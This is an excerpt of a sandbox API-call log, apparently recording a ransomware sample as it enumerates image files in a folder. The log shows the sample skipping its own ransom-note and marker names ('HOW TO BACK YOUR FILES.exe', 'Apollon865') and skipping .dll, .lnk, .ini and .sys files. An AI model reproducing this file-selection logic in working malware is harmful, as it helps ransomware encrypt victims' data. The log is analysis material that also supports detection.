	[0074.339] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pets", cAlternateFileName="")) returned 1
	[0074.339] lstrcmpiW (lpString1="Pets", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.339] lstrcmpiW (lpString1="Pets", lpString2="Apollon865.txt.exe") returned 1
	[0074.339] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="Pets" | out: lpString1="Pets") returned="Pets"
	[0074.339] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0074.339] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x62) returned 0x5afe38
	[0074.339] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bf0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bf0) returned 0x5b7990
	[0074.339] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ee00a15, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x4ee00a15, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="photoedge_buttongraphic.png", cAlternateFileName="")) returned 1
	[0074.339] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.339] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2="Apollon865.txt.exe") returned 1
	[0074.339] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="photoedge_buttongraphic.png" | out: lpString1="photoedge_buttongraphic.png") returned="photoedge_buttongraphic.png"
	[0074.339] lstrlenW (lpString="photoedge_buttongraphic.png") returned 27
	[0074.339] lstrlenW (lpString="Apollon865") returned 10
	[0074.339] lstrcmpiW (lpString1="raphic.png", lpString2="Apollon865") returned 1
	[0074.339] lstrlenW (lpString=".dll") returned 4
	[0074.339] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2=".dll") returned 1
	[0074.339] lstrlenW (lpString=".lnk") returned 4
	[0074.339] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2=".lnk") returned 1
	[0074.339] lstrlenW (lpString=".ini") returned 4
	[0074.339] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2=".ini") returned 1
	[0074.339] lstrlenW (lpString=".sys") returned 4
	[0074.339] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2=".sys") returned 1
	[0074.339] lstrlenW (lpString="photoedge_buttongraphic.png") returned 27
	[0074.340] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="photoedge_selectionsubpicture.png" | out: lpString1="photoedge_selectionsubpicture.png") returned="photoedge_selectionsubpicture.png"
	[0074.340] lstrlenW (lpString="photoedge_selectionsubpicture.png") returned 33
	[0074.340] lstrlenW (lpString="Apollon865") returned 10
	[0074.340] lstrcmpiW (lpString1="icture.png", lpString2="Apollon865") returned 1
	[0074.340] lstrlenW (lpString=".dll") returned 4
	[0074.340] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2=".dll") returned 1
	[0074.340] lstrlenW (lpString=".lnk") returned 4
	[0074.340] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2=".lnk") returned 1
	[0074.340] lstrlenW (lpString=".ini") returned 4
	[0074.340] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2=".ini") returned 1
	[0074.340] lstrlenW (lpString=".sys") returned 4
	[0074.340] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2=".sys") returned 1
	[0074.340] lstrlenW (lpString="photoedge_selectionsubpicture.png") returned 33
	[0074.340] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="photoedge_videoinset.png" | out: lpString1="photoedge_videoinset.png") returned="photoedge_videoinset.png"
	[0074.340] lstrlenW (lpString="photoedge_videoinset.png") returned 24
	[0074.340] lstrlenW (lpString="Apollon865") returned 10
	[0074.340] lstrcmpiW (lpString1="oinset.png", lpString2="Apollon865") returned 1
	[0074.340] lstrlenW (lpString=".dll") returned 4
	[0074.340] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2=".dll") returned 1
	[0074.340] lstrlenW (lpString=".lnk") returned 4
	[0074.340] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2=".lnk") returned 1
	[0074.340] lstrlenW (lpString=".ini") returned 4
	[0074.340] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2=".ini") returned 1
	[0074.340] lstrlenW (lpString=".sys") returned 4
	[0074.340] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2=".sys") returned 1
	[0074.340] lstrlenW (lpString="photoedge_videoinset.png") returned 24
	[0074.340] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="Postage_ButtonGraphic.png" | out: lpString1="Postage_ButtonGraphic.png") returned="Postage_ButtonGraphic.png"
	[0074.340] lstrlenW (lpString="Postage_ButtonGraphic.png") returned 25
	[0074.340] lstrlenW (lpString="Apollon865") returned 10
	[0074.340] lstrcmpiW (lpString1="raphic.png", lpString2="Apollon865") returned 1
	[0074.340] lstrlenW (lpString=".dll") returned 4
	[0074.340] lstrcmpiW (lpString1="Postage_ButtonGraphic.png", lpString2=".dll") returned 1
	[0074.341] lstrlenW (lpString=".lnk") returned 4
	[0074.341] lstrcmpiW (lpString1="Postage_ButtonGraphic.png", lpString2=".lnk") returned 1
	[0074.341] lstrlenW (lpString=".ini") returned 4
	[0074.341] lstrcmpiW (lpString1="Postage_ButtonGraphic.png", lpString2=".ini") returned 1
	[0074.341] lstrlenW (lpString=".sys") returned 4
	[0074.341] lstrcmpiW (lpString1="Postage_ButtonGraphic.png", lpString2=".sys") returned 1
	[0074.341] lstrlenW (lpString="Postage_ButtonGraphic.png") returned 25
	[0074.341] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="Postage_SelectionSubpicture.png" | out: lpString1="Postage_SelectionSubpicture.png") returned="Postage_SelectionSubpicture.png"
	[0074.341] lstrlenW (lpString="Postage_SelectionSubpicture.png") returned 31
	[0074.341] lstrlenW (lpString="Apollon865") returned 10
	[0074.341] lstrcmpiW (lpString1="icture.png", lpString2="Apollon865") returned 1
	[0074.341] lstrlenW (lpString=".dll") returned 4
	[0074.341] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2=".dll") returned 1
	[0074.341] lstrlenW (lpString=".lnk") returned 4
	[0074.341] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2=".lnk") returned 1
	[0074.341] lstrlenW (lpString=".ini") returned 4
	[0074.341] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2=".ini") returned 1
	[0074.341] lstrlenW (lpString=".sys") returned 4
	[0074.341] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2=".sys") returned 1
	[0074.341] lstrlenW (lpString="Postage_SelectionSubpicture.png") returned 31
	[0074.341] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="Postage_VideoInset.png" | out: lpString1="Postage_VideoInset.png") returned="Postage_VideoInset.png"
	[0074.341] lstrlenW (lpString="Postage_VideoInset.png") returned 22
	[0074.341] lstrlenW (lpString="Apollon865") returned 10
	[0074.341] lstrcmpiW (lpString1="oInset.png", lpString2="Apollon865") returned 1
	[0074.341] lstrlenW (lpString=".dll") returned 4
	[0074.341] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2=".dll") returned 1
	[0074.341] lstrlenW (lpString=".lnk") returned 4
	[0074.341] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2=".lnk") returned 1
	[0074.341] lstrlenW (lpString=".ini") returned 4
	[0074.341] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2=".ini") returned 1
	[0074.341] lstrlenW (lpString=".sys") returned 4
	[0074.341] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2=".sys") returned 1
	[0074.342] lstrlenW (lpString="Postage_VideoInset.png") returned 22
	[0074.342] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="Push" | out: lpString1="Push") returned="Push"
	[0074.342] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0074.342] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x62) returned 0x5afea8
	[0074.342] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7bf0
	[0074.342] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Rectangles", cAlternateFileName="RECTAN~1")) returned 1
	[0074.342] lstrcmpiW (lpString1="Rectangles", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.342] lstrcmpiW (lpString1="Rectangles", lpString2="Apollon865.txt.exe") returned 1
	[0074.342] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="Rectangles" | out: lpString1="Rectangles") returned="Rectangles"
	[0074.342] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0074.342] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6e) returned 0x59ab00
	[0074.342] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7cb0 | out: ListHead=0x5b76b0, ListEntry=0x5b7cb0) returned 0x5b7c50
	[0074.342] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9b652, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea9b652, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rectangle_babypink_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0074.342] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.342] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0074.342] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="rectangle_babypink_Thumbnail.bmp" | out: lpString1="rectangle_babypink_Thumbnail.bmp") returned="rectangle_babypink_Thumbnail.bmp"
	[0074.342] lstrlenW (lpString="rectangle_babypink_Thumbnail.bmp") returned 32
	[0074.342] lstrlenW (lpString="Apollon865") returned 10
	[0074.342] lstrcmpiW (lpString1="mbnail.bmp", lpString2="Apollon865") returned 1
	[0074.342] lstrlenW (lpString=".dll") returned 4
	[0074.342] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2=".dll") returned 1
	[0074.342] lstrlenW (lpString=".lnk") returned 4
	[0074.342] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2=".lnk") returned 1
	[0074.342] lstrlenW (lpString=".ini") returned 4
	[0074.342] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2=".ini") returned 1
	[0074.342] lstrlenW (lpString=".sys") returned 4
	[0074.342] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2=".sys") returned 1
	[0074.342] lstrlenW (lpString="rectangle_babypink_Thumbnail.bmp") returned 32
	[0074.342] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="rectangle_glass_Thumbnail.bmp" | out: lpString1="rectangle_glass_Thumbnail.bmp") returned="rectangle_glass_Thumbnail.bmp"
	[0074.342] lstrlenW (lpString="rectangle_glass_Thumbnail.bmp") returned 29
	[0074.343] lstrlenW (lpString="Apollon865") returned 10
	[0074.343] lstrcmpiW (lpString1="mbnail.bmp", lpString2="Apollon865") returned 1
	[0074.343] lstrlenW (lpString=".dll") returned 4
	[0074.343] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2=".dll") returned 1
	[0074.343] lstrlenW (lpString=".lnk") returned 4
	[0074.343] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2=".lnk") returned 1
	[0074.343] lstrlenW (lpString=".ini") returned 4
	[0074.343] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2=".ini") returned 1
	[0074.343] lstrlenW (lpString=".sys") returned 4
	[0074.343] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2=".sys") returned 1
	[0074.343] lstrlenW (lpString="rectangle_glass_Thumbnail.bmp") returned 29
	[0074.343] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="rectangle_highlights_Thumbnail.bmp" | out: lpString1="rectangle_highlights_Thumbnail.bmp") returned="rectangle_highlights_Thumbnail.bmp"
	[0074.343] lstrlenW (lpString="rectangle_highlights_Thumbnail.bmp") returned 34
	[0074.343] lstrlenW (lpString="Apollon865") returned 10
	[0074.343] lstrcmpiW (lpString1="mbnail.bmp", lpString2="Apollon865") returned 1
	[0074.343] lstrlenW (lpString=".dll") returned 4
	[0074.343] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2=".dll") returned 1
	[0074.343] lstrlenW (lpString=".lnk") returned 4
	[0074.343] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2=".lnk") returned 1
	[0074.343] lstrlenW (lpString=".ini") returned 4
	[0074.343] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2=".ini") returned 1
	[0074.343] lstrlenW (lpString=".sys") returned 4
	[0074.343] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2=".sys") returned 1
	[0074.343] lstrlenW (lpString="rectangle_highlights_Thumbnail.bmp") returned 34
	[0074.343] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="rectangle_performance_Thumbnail.bmp" | out: lpString1="rectangle_performance_Thumbnail.bmp") returned="rectangle_performance_Thumbnail.bmp"
	[0074.343] lstrlenW (lpString="rectangle_performance_Thumbnail.bmp") returned 35
	[0074.343] lstrlenW (lpString="Apollon865") returned 10
	[0074.343] lstrcmpiW (lpString1="mbnail.bmp", lpString2="Apollon865") returned 1
	[0074.343] lstrlenW (lpString=".dll") returned 4
	[0074.343] lstrcmpiW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2=".dll") returned 1
	[0074.343] lstrlenW (lpString=".lnk") returned 4
	[0074.343] lstrcmpiW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2=".lnk") returned 1
	[0074.343] lstrlenW (lpString=".ini") returned 4
	[0074.344] lstrcmpiW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2=".ini") returned 1
	[0074.344] lstrlenW (lpString=".sys") returned 4
	[0074.344] lstrcmpiW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2=".sys") returned 1
	[0074.344] lstrlenW (lpString="rectangle_performance_Thumbnail.bmp") returned 35
	[0074.344] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="rectangle_photo_Thumbnail.bmp" | out: lpString1="rectangle_photo_Thumbnail.bmp") returned="rectangle_photo_Thumbnail.bmp"
	[0074.344] lstrlenW (lpString="rectangle_photo_Thumbnail.bmp") returned 29
	[0074.344] lstrlenW (lpString="Apollon865") returned 10
	[0074.344] lstrcmpiW (lpString1="mbnail.bmp", lpString2="Apollon865") returned 1
	[0074.344] lstrlenW (lpString=".dll") returned 4
	[0074.344] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2=".dll") returned 1
	[0074.344] lstrlenW (lpString=".lnk") returned 4
	[0074.344] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2=".lnk") returned 1
	[0074.344] lstrlenW (lpString=".ini") returned 4
	[0074.344] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2=".ini") returned 1
	[0074.344] lstrlenW (lpString=".sys") returned 4
	[0074.344] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2=".sys") returned 1
	[0074.344] lstrlenW (lpString="rectangle_photo_Thumbnail.bmp") returned 29
	[0074.344] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="rectangle_plain_Thumbnail.bmp" | out: lpString1="rectangle_plain_Thumbnail.bmp") returned="rectangle_plain_Thumbnail.bmp"
	[0074.344] lstrlenW (lpString="rectangle_plain_Thumbnail.bmp") returned 29
	[0074.344] lstrlenW (lpString="Apollon865") returned 10
	[0074.344] lstrcmpiW (lpString1="mbnail.bmp", lpString2="Apollon865") returned 1
	[0074.344] lstrlenW (lpString=".dll") returned 4
	[0074.344] lstrcmpiW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2=".dll") returned 1
	[0074.344] lstrlenW (lpString=".lnk") returned 4
	[0074.344] lstrcmpiW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2=".lnk") returned 1
	[0074.344] lstrlenW (lpString=".ini") returned 4
	[0074.344] lstrcmpiW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2=".ini") returned 1
	[0074.344] lstrlenW (lpString=".sys") returned 4
	[0074.344] lstrcmpiW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2=".sys") returned 1
	[0074.344] lstrlenW (lpString="rectangle_plain_Thumbnail.bmp") returned 29
	[0074.345] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="rectangle_postage_Thumbnail.bmp" | out: lpString1="rectangle_postage_Thumbnail.bmp") returned="rectangle_postage_Thumbnail.bmp"
	[0074.345] lstrlenW (lpString="rectangle_postage_Thumbnail.bmp") returned 31
	[0074.345] lstrlenW (lpString="Apollon865") returned 10
	[0074.345] lstrcmpiW (lpString1="mbnail.bmp", lpString2="Apollon865") returned 1
	[0074.345] lstrlenW (lpString=".dll") returned 4
	[0074.345] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2=".dll") returned 1
	[0074.345] lstrlenW (lpString=".lnk") returned 4
	[0074.345] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2=".lnk") returned 1
	[0074.345] lstrlenW (lpString=".ini") returned 4
	[0074.345] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2=".ini") returned 1
	[0074.345] lstrlenW (lpString=".sys") returned 4
	[0074.345] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2=".sys") returned 1
	[0074.345] lstrlenW (lpString="rectangle_postage_Thumbnail.bmp") returned 31
	[0074.345] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="rectangle_scrapbook_Thumbnail.bmp" | out: lpString1="rectangle_scrapbook_Thumbnail.bmp") returned="rectangle_scrapbook_Thumbnail.bmp"
	[0074.345] lstrlenW (lpString="rectangle_scrapbook_Thumbnail.bmp") returned 33
	[0074.345] lstrlenW (lpString="Apollon865") returned 10
	[0074.345] lstrcmpiW (lpString1="mbnail.bmp", lpString2="Apollon865") returned 1
	[0074.345] lstrlenW (lpString=".dll") returned 4
	[0074.345] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2=".dll") returned 1
	[0074.345] lstrlenW (lpString=".lnk") returned 4
	[0074.345] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2=".lnk") returned 1
	[0074.345] lstrlenW (lpString=".ini") returned 4
	[0074.345] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2=".ini") returned 1
	[0074.345] lstrlenW (lpString=".sys") returned 4
	[0074.345] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2=".sys") returned 1
	[0074.345] lstrlenW (lpString="rectangle_scrapbook_Thumbnail.bmp") returned 33
	[0074.345] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="rectangle_specialocc_Thumbnail.bmp" | out: lpString1="rectangle_specialocc_Thumbnail.bmp") returned="rectangle_specialocc_Thumbnail.bmp"
	[0074.345] lstrlenW (lpString="rectangle_specialocc_Thumbnail.bmp") returned 34
	[0074.345] lstrlenW (lpString="Apollon865") returned 10
	[0074.345] lstrcmpiW (lpString1="mbnail.bmp", lpString2="Apollon865") returned 1
	[0074.345] lstrlenW (lpString=".dll") returned 4
	[0074.346] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2=".dll") returned 1
	[0074.346] lstrlenW (lpString=".lnk") returned 4
	[0074.346] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2=".lnk") returned 1
	[0074.346] lstrlenW (lpString=".ini") returned 4
	[0074.346] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2=".ini") returned 1
	[0074.346] lstrlenW (lpString=".sys") returned 4
	[0074.346] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2=".sys") returned 1
	[0074.346] lstrlenW (lpString="rectangle_specialocc_Thumbnail.bmp") returned 34
	[0074.346] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="rectangle_travel_Thumbnail.bmp" | out: lpString1="rectangle_travel_Thumbnail.bmp") returned="rectangle_travel_Thumbnail.bmp"
	[0074.346] lstrlenW (lpString="rectangle_travel_Thumbnail.bmp") returned 30
	[0074.346] lstrlenW (lpString="Apollon865") returned 10
	[0074.346] lstrcmpiW (lpString1="mbnail.bmp", lpString2="Apollon865") returned 1
	[0074.346] lstrlenW (lpString=".dll") returned 4
	[0074.346] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2=".dll") returned 1
	[0074.346] lstrlenW (lpString=".lnk") returned 4
	[0074.346] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2=".lnk") returned 1
	[0074.346] lstrlenW (lpString=".ini") returned 4
	[0074.346] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2=".ini") returned 1
	[0074.346] lstrlenW (lpString=".sys") returned 4
	[0074.346] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2=".sys") returned 1
	[0074.346] lstrlenW (lpString="rectangle_travel_Thumbnail.bmp") returned 30
	[0074.346] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="rectangle_widescreen_Thumbnail.bmp" | out: lpString1="rectangle_widescreen_Thumbnail.bmp") returned="rectangle_widescreen_Thumbnail.bmp"
	[0074.346] lstrlenW (lpString="rectangle_widescreen_Thumbnail.bmp") returned 34
	[0074.346] lstrlenW (lpString="Apollon865") returned 10
	[0074.346] lstrcmpiW (lpString1="mbnail.bmp", lpString2="Apollon865") returned 1
	[0074.346] lstrlenW (lpString=".dll") returned 4
	[0074.346] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2=".dll") returned 1
	[0074.346] lstrlenW (lpString=".lnk") returned 4
	[0074.346] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2=".lnk") returned 1
	[0074.346] lstrlenW (lpString=".ini") returned 4
	[0074.346] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2=".ini") returned 1
	[0074.346] lstrlenW (lpString=".sys") returned 4
	[0074.346] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2=".sys") returned 1
	[0074.347] lstrlenW (lpString="rectangle_widescreen_Thumbnail.bmp") returned 34
	[0074.347] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="ResizingPanels" | out: lpString1="ResizingPanels") returned="ResizingPanels"
	[0074.347] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c08
	[0074.347] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x76) returned 0x591440
	[0074.347] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c10 | out: ListHead=0x5b76b0, ListEntry=0x5b7c10) returned 0x5b7cb0
	[0074.347] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e91e8b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e91e8b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="scene_button_style_default_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0074.347] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.347] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0074.347] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="scene_button_style_default_Thumbnail.bmp" | out: lpString1="scene_button_style_default_Thumbnail.bmp") returned="scene_button_style_default_Thumbnail.bmp"
	[0074.347] lstrlenW (lpString="scene_button_style_default_Thumbnail.bmp") returned 40
	[0074.347] lstrlenW (lpString="Apollon865") returned 10
	[0074.347] lstrcmpiW (lpString1="mbnail.bmp", lpString2="Apollon865") returned 1
	[0074.347] lstrlenW (lpString=".dll") returned 4
	[0074.347] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2=".dll") returned 1
	[0074.347] lstrlenW (lpString=".lnk") returned 4
	[0074.347] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2=".lnk") returned 1
	[0074.347] lstrlenW (lpString=".ini") returned 4
	[0074.347] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2=".ini") returned 1
	[0074.347] lstrlenW (lpString=".sys") returned 4
	[0074.347] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2=".sys") returned 1
	[0074.347] lstrlenW (lpString="scene_button_style_default_Thumbnail.bmp") returned 40
	[0074.347] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="shadowonlyframe_buttongraphic.png" | out: lpString1="shadowonlyframe_buttongraphic.png") returned="shadowonlyframe_buttongraphic.png"
	[0074.347] lstrlenW (lpString="shadowonlyframe_buttongraphic.png") returned 33
	[0074.347] lstrlenW (lpString="Apollon865") returned 10
	[0074.347] lstrcmpiW (lpString1="raphic.png", lpString2="Apollon865") returned 1
	[0074.347] lstrlenW (lpString=".dll") returned 4
	[0074.347] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2=".dll") returned 1
	[0074.347] lstrlenW (lpString=".lnk") returned 4
	[0074.347] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2=".lnk") returned 1
	[0074.347] lstrlenW (lpString=".ini") returned 4
	[0074.347] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2=".ini") returned 1
	[0074.348] lstrlenW (lpString=".sys") returned 4
	[0074.348] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2=".sys") returned 1
	[0074.348] lstrlenW (lpString="shadowonlyframe_buttongraphic.png") returned 33
	[0074.348] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="shadowonlyframe_selectionsubpicture.png" | out: lpString1="shadowonlyframe_selectionsubpicture.png") returned="shadowonlyframe_selectionsubpicture.png"
	[0074.348] lstrlenW (lpString="shadowonlyframe_selectionsubpicture.png") returned 39
	[0074.348] lstrlenW (lpString="Apollon865") returned 10
	[0074.348] lstrcmpiW (lpString1="icture.png", lpString2="Apollon865") returned 1
	[0074.348] lstrlenW (lpString=".dll") returned 4
	[0074.348] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2=".dll") returned 1
	[0074.348] lstrlenW (lpString=".lnk") returned 4
	[0074.348] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2=".lnk") returned 1
	[0074.348] lstrlenW (lpString=".ini") returned 4
	[0074.348] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2=".ini") returned 1
	[0074.348] lstrlenW (lpString=".sys") returned 4
	[0074.348] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2=".sys") returned 1
	[0074.348] lstrlenW (lpString="shadowonlyframe_selectionsubpicture.png") returned 39
